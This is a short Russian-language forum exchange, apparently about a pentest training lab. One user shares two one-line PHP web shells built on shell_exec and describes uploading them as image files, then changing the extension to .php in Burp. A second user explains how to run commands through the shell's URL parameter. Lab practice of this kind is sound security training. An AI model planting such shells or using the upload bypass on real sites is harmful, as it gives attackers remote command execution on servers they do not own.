Помощь в загрузке шелла в CRM Pentest lab 11.

[Sykes]

Не выходит загрузить шелл на сайт, всё делается по канонам и гайдам.
Burp Community, обновлен из реп, прокси через FoxyProxy, шелл вида <? echo shell_exec($_GET['cmd']) ?> или <? echo shell_exec($_GET['e'].' 2>&1'); ?>. Грузил шелл в jpg, jpeg, gif, барпом ловил запрос и менял расширение шелла на php - толку нет. Когда шел по пути /test/logo/shell.php, то белый экран, при других шеллах ошибка 404. Будьте добры помочь

 

[Citizen0]

Когда шел по пути /test/logo/shell.php, то белый экран,

А что Вы хотите увидеть?
Для первого шелла нужно указать параметр cmd, для второго - e

site/test/logo/shell.php?cmd=%команда%

или

site/test/logo/shell.php?e=%команда%

Например,

site/test/logo/shell.php?cmd=ls